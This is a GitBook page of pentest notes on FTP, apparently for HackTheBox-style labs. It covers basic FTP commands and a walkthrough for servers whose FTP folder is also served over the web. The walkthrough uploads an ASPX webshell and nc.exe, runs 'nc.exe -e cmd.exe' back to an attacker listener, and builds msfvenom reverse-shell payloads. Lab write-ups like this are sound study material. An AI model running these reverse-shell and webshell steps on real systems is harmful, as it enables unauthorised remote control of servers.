Pentest
  • Homepage
  • Pentest Links
  • 01 Prep
    • Target Inventory
    • OSINT and Dorks
    • Recon-ng dns zone snoop
    • ❤️Gitbook
  • 02 Scan
    • *Favorites
    • Burp
    • Dirb nikto wpscan etc
    • Enum Finger and Brute SSH
    • Fuzzing
    • Nmap
    • Open Port Checks OneLiner
    • Port Knocking
    • SSL Issues
    • Tcpdump
  • 03 Getting In
    • Char Evasion Tricks
    • Email SMTP
    • Eternal Blue
    • FTP
    • heartbleed
    • Metasploit
    • MySql
    • NFS
    • Oracle
    • Postgres
    • PowerShell Empire
    • Shells
    • rpc
    • SMB Samba
    • SSH Tips
    • SQLite3
    • Veil
  • 04 WebApps
    • Apache
    • Blogs
    • Coldfusion
    • Content Management (CMS)
    • Drupal
    • Elastix FreePBX
    • HttpFileServer (HFS)
    • IIS
    • IIS6 WebDav
    • Local File Inclusion (LFI)
    • Magento
    • Nagios
    • PFSense
    • php
    • php type juggling
    • phpLite
    • Web Injections
    • Javascript
    • Shellshock
    • SQL Injections (sqli)
    • SQLMap
    • WAF
    • Webmin
    • Web Scrape
    • Wordpress
  • 05 Passwords & Ciphers
    • Cipher Decrypt
    • Cipher RSA Wiener P-Q-E
    • Cracking
    • Dict Guess List Mangle
    • Get Hashes
    • Hydra Brutes
    • Images Exif Steg
    • Malware Analysis
    • Pull Hashes PCredz
    • SSH PrivKey Passphrase
    • Unzip Crack
    • Windows PW
  • 06 Linux PrivEsc
    • 1 Look Around
    • 2 Enums
    • 3 PrivEsc
    • 4 Kernel Exploits
    • 5 Looting
    • binaries
    • Buffer Overflow
    • bash prison
    • Monitor Files
    • mongodb node
    • Pivots
    • Remote Execute
    • Shell TTY Fix
    • TAR backups
    • Transfer Files
    • vnc
  • 07 Windows PrivEsc
    • 1 Windows cmd kungfu
    • 2 Enums
    • 3 PrivEsc
    • 4 Kernel Exploits
    • 5 Looting
    • Bloodhound
    • DLL Hijack MSF
    • Kerberos
    • Memory Analysis
    • NTDS
    • Powershell
    • Responder
    • Saved Creds runas
Powered by GitBook
On this page
  • Basics
  • FtpHttp Vulnerability
  • REF

Was this helpful?

  1. 03 Getting In

FTP

PreviousEternal BlueNextheartbleed

Last updated 2 years ago

Was this helpful?

Basics

ftp 10.x.x.x    ..connect
help            ..help
pwd             ..print working directory
dir             ..list directory (also: ls)
cd c:\data      ..change directory
lcd /tmp        ..local change directory
get flag.txt    ..download
put test.txt    ..upload
binary          ..Used for graphics, compressed files, audio
put Potato.exe  ..Can now upload EXE

FtpHttp Vulnerability

  • If your FTP is also a HTTP directory

  • You can upload and execute from http

  • REF: develHTB, 

-----------------
-----------------
Webshell
locate *aspx
cp /usr/share/webshells/aspx/cmdasp.aspx .
FTP 10.x.x.x
put cmdasp.aspx
firefox http://10.x.x.x/cmdasp.aspx

-----------------
-----------------
Reverse
locate nc.exe
cp nc.exe .
FTP 10.x.x.x
put nc.exe
sudo smbserver.py share .     ..or use smbshare
nc -nvlp 4444                 ..nc listener
http://10.x.x.x/cmdasp.aspx   ..execute our nc reverse shell
cmd = \\10.x.x.x\share\nc.exe -e cmd.exe 10.x.x.x 4444

-----------------
-----------------
Payloads
msfvenom --list payloads | grep windows
msfvenom -p windows/shell_reverse_tcp lhost=$IP lport=4444 -f aspx -o shell.aspx
msfvenom -p windows/shell_reverse_tcp lhost=$IP lport=4444 -f exe -o shell.exe
ftp $IP
put shell.aspx
put shell.exe
nc -nvlp 4444
firefox http://$IP/shell.aspx
dir C:\inetpub\wwwroot
C:\inetpub\wwwroot\shell.exe

REF

FtpCommands
ReverseShells
TransferFiles